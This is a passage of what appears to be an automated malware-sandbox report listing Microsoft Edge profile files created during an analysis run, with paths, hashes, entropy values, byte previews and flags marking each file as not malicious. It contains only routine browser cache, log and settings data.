SHA-512:	8101892BB81EE5E6EB5E82D82AB6D17A3DD4500FB019B116FC9E2841F876461FCBB33FDE71986B0B1BC91D3AB8F8C70CB5E01C39DB3B43D1388D83628A39D722
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;"....x..........,T.8..`,.....L`.....,T...`......L`......Rc..5C....exports...RcZ.IC....module....Rc.......define....Rb".......amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.....b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....8Z...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:Oz1KuAyXl/lR/lxE0tllFJ+n:Oz1KujC0U
MD5:	937F58E892C5608101B79735587B665F
SHA1:	AC7AE666362E0DCFFE74C890E95589DB99634516
SHA-256:	F2C1C51037C68C610FA7977C37EF4FBBD5D7554DCF3A8D20845BB60B466B7FD3
SHA-512:	D57449E5205AB7BB2A2F598E3C029FB12AD3463AFDCA435DDCC03FB578DA07C0B014DF7791963E5D6F53AFF826F731EA09F5D8BBF17A4F3E58F156B1ECB76291
Malicious:	false
Preview:	@...;.0.oy retne.........................X....,................N..../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:Oz1KuAyXl/lR/lxE0tllFJ+n:Oz1KujC0U
MD5:	937F58E892C5608101B79735587B665F
SHA1:	AC7AE666362E0DCFFE74C890E95589DB99634516
SHA-256:	F2C1C51037C68C610FA7977C37EF4FBBD5D7554DCF3A8D20845BB60B466B7FD3
SHA-512:	D57449E5205AB7BB2A2F598E3C029FB12AD3463AFDCA435DDCC03FB578DA07C0B014DF7791963E5D6F53AFF826F731EA09F5D8BBF17A4F3E58F156B1ECB76291
Malicious:	false
Preview:	@...;.0.oy retne.........................X....,................N..../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF32154.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:Oz1KuAyXl/lR/lxE0tllFJ+n:Oz1KujC0U
MD5:	937F58E892C5608101B79735587B665F
SHA1:	AC7AE666362E0DCFFE74C890E95589DB99634516
SHA-256:	F2C1C51037C68C610FA7977C37EF4FBBD5D7554DCF3A8D20845BB60B466B7FD3
SHA-512:	D57449E5205AB7BB2A2F598E3C029FB12AD3463AFDCA435DDCC03FB578DA07C0B014DF7791963E5D6F53AFF826F731EA09F5D8BBF17A4F3E58F156B1ECB76291
Malicious:	false
Preview:	@...;.0.oy retne.........................X....,................N..../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5009
Entropy (8bit):	3.432540596928691
Encrypted:	false
SSDEEP:	96:GwQTW3tOEm3duFt1fjpm6/VFj9Xp+WT+ViGx5SLl9iSr/1UNZQ:Ty4Otuv1706/VZ9Xp+WTKim5SLl9iSro
MD5:	0BDE5D80E2365B10AF65683E268F66DC
SHA1:	A25CF406A12DD8C52187BCE8BF4F0E9590D69E50
SHA-256:	1521CA0E79942A839A7BD188FB8F5E244B3A8D8BD06B06B73A68D3E234720196
SHA-512:	090A30C31778ACE10E9EA7D04973837F925423838B9FEE150E07E8ADC0C941DAE580014B19F1CB33C9863935D9B34CD8128C2AA77CB46C6FF775E5F7D8C365AF
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............Y...b................next-map-id.1.Cnamespace-d7704c19_c2e2_42c6_8b1d_c758dc7941ba-https://ntp.msn.com/.0.j..L................map-0-shd_sweeper.${.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.e.t.q.o.h.p.a.d.,.p.r.g.-.d.l.t.q.,.p.r.g.-.e.h.p.s.b.t.q.s.t.,.p.r.g.-.c.a.l.-.5.c.o.l.u.m.n.,.x.a.d.s.-.a.d.q.i.s.c.b.m.m.-.t.,.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.-.t.1.,.p.r.g.-.a.d.-.c.-.s.t.a.b.-.b.n.,.p.r.g.-.c.-.s.t.a.b.-.b.n.,.i.c.r.s.c.a.l.l.-.s.p.-.c.t.l.,.p.r.g.-.1.s.w.-.s.a.-.q.p.v.4.0.4.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.p.i.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.c.,.p.r.g.-.1.s.w.-.s.a.-.i.m.g.e.m.b.e.d.d.i.n.g.v.3.t.r.e.t.1.,.p.r.g.-.1.s.w.-.s.a.l.3.u.i.c.d.b.c.2.,.p.r.g.-.1.s.w.-.c.t.a.d.d.d.b.g.,.1.s.w.-.t.p.s.n.-.d.s.t.p.r.g.1.d.c.y.7.-.t.,.1.s.-.t.p.s.n.-.d.s.t.d.c.y.7.,.1.s.-.t.p.s.n.p.1.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	320
Entropy (8bit):	5.162482654101008
Encrypted:	false
SSDEEP:	6:HUOuKo/+q2PqLTwi23oH+TcwtrQMxIFUt8YUOuKWZZmw+YUOuKKVkwOqLTwi23oM:atGv8wZYebCFUt8dJZ/+dd5TwZYebtJ
MD5:	D8A753ABCDCBFC55E4B4D79C829680BC
SHA1:	671381D07A51AE5C86F9A6C5A82E3FC64D076542
SHA-256:	7D6FDCC6F54D0BC95BAD866C57A90F1BF0B719E58A1CD9F09F3743BF6769BDF3
SHA-512:	17C186F5BD16FE66DE38CC18F7738280E969ADC3A55814A9603FBC7D801070A621A11EE5C5525BF5B17F795D2AE8316921950DE3BA715BF20A710616BEA35144
Malicious:	false
Preview:	2024/11/18-09:16:51.623 1c88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/18-09:16:51.632 1c88 Recovering log #3.2024/11/18-09:16:51.636 1c88 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	320
Entropy (8bit):	5.162482654101008
Encrypted:	false
SSDEEP:	6:HUOuKo/+q2PqLTwi23oH+TcwtrQMxIFUt8YUOuKWZZmw+YUOuKKVkwOqLTwi23oM:atGv8wZYebCFUt8dJZ/+dd5TwZYebtJ
MD5:	D8A753ABCDCBFC55E4B4D79C829680BC
SHA1:	671381D07A51AE5C86F9A6C5A82E3FC64D076542
SHA-256:	7D6FDCC6F54D0BC95BAD866C57A90F1BF0B719E58A1CD9F09F3743BF6769BDF3
SHA-512:	17C186F5BD16FE66DE38CC18F7738280E969ADC3A55814A9603FBC7D801070A621A11EE5C5525BF5B17F795D2AE8316921950DE3BA715BF20A710616BEA35144
Malicious:	false
Preview:	2024/11/18-09:16:51.623 1c88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/18-09:16:51.632 1c88 Recovering log #3.2024/11/18-09:16:51.636 1c88 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376413013175817

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.819923815105307
Encrypted:	false
SSDEEP:	24:3uh+2rTtlrRPpsAF4unx+tLp3X2amEtG1Chqv4dbILtQKkOAM4L4:3mNlrRPzFALp2FEkCh04db6OHOpz
MD5:	0B1A59BCEB24380BA1BA4AE01167FBC2
SHA1:	85CEEF98AE8B181EF0EF2F86F24108CCA9CCEBF9
SHA-256:	FDF3DD5AB47C874BDDB4DF7D0B38543FC23701094316BA3C729BA35640670C09
SHA-512:	D986EC6259FAEC408B84FE0D1BF26A29477F6532B5DED0574ADC99BD313DAFDC492E1965D9B398D78970926E446F59A67D6FF12CDAA7C1171B29C8A4D9A7EACD
Malicious:	false
Preview:	SNSS........:.'............:.'......".:.'............:.'........:.'........:.'........:.'....!...:.'................................:.'.:.'1..,....:.'$...d7704c19_c2e2_42c6_8b1d_c758dc7941ba....:.'........:.'....F{..........:.'....:.'........................:.'....................5..0....:.'&...{3A9A5720-BFF5-4C6E-B4C6-310A980401CC}......:.'........:.'............:.'........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x........ez.0'...ez.0'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8....................................................................... ..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.160525448384616
Encrypted:	false
SSDEEP:	6:HUOuKJ+q2PqLTwi23oH+Tcwt7Uh2ghZIFUt8YUOuKA5Zmw+YUOuKAtVkwOqLTwir:aNv8wZYebIhHh2FUt8dH5/+dHT5TwZYz
MD5:	FDAB3373F4790DE13812497266052358
SHA1:	0D0C00EDA43BAA5946B3CFE4BB5BF1320E762142
SHA-256:	38DA4F76E4E23CE3B8CA812B7FF48F91473C9FD3DD68B792474274CAC4395F5B
SHA-512:	65257679CD18DB6177AEDAFEADE78757391AF61ED0F096607E05FE416F20D334151359A9920BAADA1097358624F7BFA292877E5394BF7223F5ADE483E3FB4097
Malicious:	false
Preview:	2024/11/18-09:16:50.841 1d98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/18-09:16:50.842 1d98 Recovering log #3.2024/11/18-09:16:50.842 1d98 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.160525448384616
Encrypted:	false
SSDEEP:	6:HUOuKJ+q2PqLTwi23oH+Tcwt7Uh2ghZIFUt8YUOuKA5Zmw+YUOuKAtVkwOqLTwir:aNv8wZYebIhHh2FUt8dH5/+dHT5TwZYz
MD5:	FDAB3373F4790DE13812497266052358
SHA1:	0D0C00EDA43BAA5946B3CFE4BB5BF1320E762142
SHA-256:	38DA4F76E4E23CE3B8CA812B7FF48F91473C9FD3DD68B792474274CAC4395F5B
SHA-512:	65257679CD18DB6177AEDAFEADE78757391AF61ED0F096607E05FE416F20D334151359A9920BAADA1097358624F7BFA292877E5394BF7223F5ADE483E3FB4097
Malicious:	false
Preview:	2024/11/18-09:16:50.841 1d98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/18-09:16:50.842 1d98 Recovering log #3.2024/11/18-09:16:50.842 1d98 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	427
Entropy (8bit):	5.254520302461265
Encrypted:	false
SSDEEP:	12:aAvyv8wZYebvqBQFUt8dK/+dGR5TwZYebvqBvJ:LvY8wZYebvZg8mDTwZYebvk
MD5:	77A741CEDC21E9E2C4C60EBFACEB00DA
SHA1:	680E046291E09ECA4DF618C1982777D6B36BF9DF
SHA-256:	8E5A4CFA5226DF96B18DE6FC548E1E277A799A06CDCE99B63DA82111B235A540
SHA-512:	EB55CB3433A0B3E26D7A57308DFBD8BED1A16CC6A77BCD0B6B54082966A7B89D7D403716555295653040890E373A699433061C764AFDC0A429402A35D9965F8A
Malicious:	false
Preview:	2024/11/18-09:16:51.642 e34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/18-09:16:51.644 e34 Recovering log #3.2024/11/18-09:16:51.648 e34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	427
Entropy (8bit):	5.254520302461265
Encrypted:	false
SSDEEP:	12:aAvyv8wZYebvqBQFUt8dK/+dGR5TwZYebvqBvJ:LvY8wZYebvZg8mDTwZYebvk
MD5:	77A741CEDC21E9E2C4C60EBFACEB00DA
SHA1:	680E046291E09ECA4DF618C1982777D6B36BF9DF
SHA-256:	8E5A4CFA5226DF96B18DE6FC548E1E277A799A06CDCE99B63DA82111B235A540
SHA-512:	EB55CB3433A0B3E26D7A57308DFBD8BED1A16CC6A77BCD0B6B54082966A7B89D7D403716555295653040890E373A699433061C764AFDC0A429402A35D9965F8A
Malicious:	false
Preview:	2024/11/18-09:16:51.642 e34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/18-09:16:51.644 e34 Recovering log #3.2024/11/18-09:16:51.648 e34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\3694824f-2f89-4424-923a-4ecfea7a1d4d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\8e31cdc3-f473-4506-8ee2-c257eece1add.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF2b54c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\b3dada55-95f5-4fee-8307-542392219c99.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\b8430c83-f66d-43a8-aa93-1709cca8c62d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
